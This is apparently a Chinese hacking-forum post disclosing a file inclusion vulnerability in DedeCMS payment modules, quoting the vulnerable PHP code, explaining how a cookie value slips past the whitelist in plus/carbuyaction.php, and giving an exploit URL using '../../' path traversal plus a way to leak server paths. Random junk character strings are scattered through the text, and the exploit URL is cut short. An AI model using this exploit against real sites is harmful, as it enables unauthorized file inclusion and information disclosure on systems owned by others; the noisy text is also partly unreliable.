晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
, ?3 E+ f# r. b( M. e- D+ K3 @! d) p* J$ g0 J0 u
出现漏洞的两个文件为:% B4 x1 ~+ j) ]( g/ O- w
Include/payment/alipay.php
) H* M3 d. D" sInclude/payment/yeepay.php) H0 o# Y) ]! P# t( U7 j6 t
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
' x1 p* O9 D8 x* m8 c; V" q* n$ m) x& ?; T J/ l7 D
Include/payment/alipay.php5 s5 x2 p3 D( u$ x' W
. R$ T) U) ]% @9 E1 _! j
......* a- t- p. }9 w$ U& D
function respond()
+ c4 N2 O: |. E1 t {
2 ^$ m) u* t( T" m+ l# S1 y if (!empty($_POST))! O; }! j. [9 T+ f7 d( z+ d9 g1 O
{
; I" l2 U* Q2 Z+ s) X: F7 z foreach($_POST as $key => $data)
3 \ ?6 t2 O/ q5 S% @ {
2 ]$ o# G2 J! F $_GET[$key] = $data;! h! c: y! A2 i, @5 v2 ?
}0 R3 M5 o6 P5 c* ?
}! ]" Z; Y" s. g% n5 F
/* 引入配置文件 */
5 f* W: K# o5 ~1 T require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
* {6 F2 I- A( m...... ) z: S" m" e/ y
+ K5 {& X5 g' L. R/ X, a1 d1 l) V4 X: v2 u. Z; t3 y
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。* F. D8 b' A3 w; V' R; q. ~
1 P% H/ E4 v" I* E9 e4 V
Include/payment/yeepay.php
0 b8 _6 `) L7 l8 F9 t9 V8 S9 V9 ~% A( A4 W0 w e; y3 U
* h1 U: |/ F) \* y; U
0 W* J% L7 l1 ~, k, \; ^......
, I! R. ]/ b7 U8 K# E; }( Z% L function respond()
' z: Q; b) I. Y {5 q# L# Y6 U0 O" s& X
" L, E, c/ n' ?; H /* 引入配置文件 */: D6 |2 n- E& r0 ~& ^
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
! `; V# S# G/ U" n' ^9 b
9 w/ x1 V: L# h( x$ @" w $p1_MerId = trim($payment['yp_account']);
' [3 Q+ [8 S1 c0 ]0 ~) P $merchantKey = trim($payment['yp_key']); r8 W* `* X! `1 I C; H
...... & P2 W! t! k9 ?
" B+ k: N' b0 w2 M. y
3 i/ b6 }# [: `8 P: z# ^; B6 T: i
4 L+ Z. P, b2 w. Q$ E& D
/ F" r1 ~* s! o, z% z* r2 w大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。. O: F4 |! w0 o7 p6 M) N# m) u
/ z) |8 B& ?1 Y. q$ {# Q' w这两个方法在plus/carbuyaction.php文件调用。' p2 s6 L n% m3 T, @" b# k
7 T- z7 x) h' e' W8 R/ Nplus/carbuyaction.php
$ b' `* j* h' u( J- R' @- |9 g# l# @0 v2 W0 n& I. d
......
6 H" C2 }9 L1 G} else if ($dopost == 'return') {) [2 b- X9 s* u- Q8 Q$ c+ K' P
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
9 x& a! M" A/ | a if (in_array($code, $write_list))% b% U( K% G5 R2 S7 B0 g
{
/ v: ^% N s! n6 N j3 v' V require_once DEDEINC.'/payment/'.$code.'.php';0 b3 Z. W5 I b7 P3 Y. x' B- a; ^$ A; C
$pay = new $code;2 T0 ? ?/ ~! b9 w' w
$msg=$pay->respond();
7 n2 p( O8 A4 G ShowMsg($msg, "javascript:;", 0, 3000);
: m+ D- L3 B T# m% l& I exit();
* s) U3 h6 g9 B" e4 A$ G7 {4 N } else {4 w" O* ^) B( L+ D( `
exit('Error:File Type Can\'t Recognized!');
7 i5 ^1 g" m" o" E5 w( [6 H) p, \ }
% d- _# [3 |' S) D: O/ U}/ w; m0 i) r0 V" q
...... 3 A" O% P# v+ M' Q8 r/ T& ~- N
* k5 V9 \' P5 x; |6 L2 Z2 s
# ?( i. M) N; x1 `' o 5 O0 s& c. j3 r5 d* m, s7 _
$ \% \1 u, X/ b, u( O. Y2 K0 W
4 B" ~; y7 n, X. Q% i7 Z
8 y. V1 d' K1 L: [$ ^0 O h大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。3 k6 U4 @ s7 u
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。7 O5 j% l0 _# @) M$ c
' ?! H7 \. A- G+ _: C
回到include/common.inc.php来看看他的机制。
) X( k2 Y8 `. |. J9 G0 J. M9 u! z: N9 u) u1 e' j" m/ V+ E, T
2 h) ?7 D- Z' E6 s1 j+ J
! V2 I9 Z2 C: L& [9 n$ R
......: T$ g' A: b, Z/ v! f) g
foreach(Array('_GET','_POST','_COOKIE') as $_request)
U5 \0 s) L+ w6 Z5 A5 h{
2 y/ S3 v9 m; J1 c+ ?" q foreach($$_request as $_k => $_v)
* L7 E. o! j( m! ~9 N {
9 V2 B- Y. o; S+ \. G) d6 M if($_k == 'nvarname') ${$_k} = $_v;7 o8 @8 \8 G; P
else ${$_k} = _RunMagicQuotes($_v);
" X, M6 E5 I8 h+ m% N! ?: Y }
. ^' E# Z- U/ }6 i4 x}+ A3 O. Q* T! H
......
- c; ]* S" N7 S8 a0 {' ~大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:3 s, ]( e) g6 g q+ l7 [$ _* G1 r, T
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |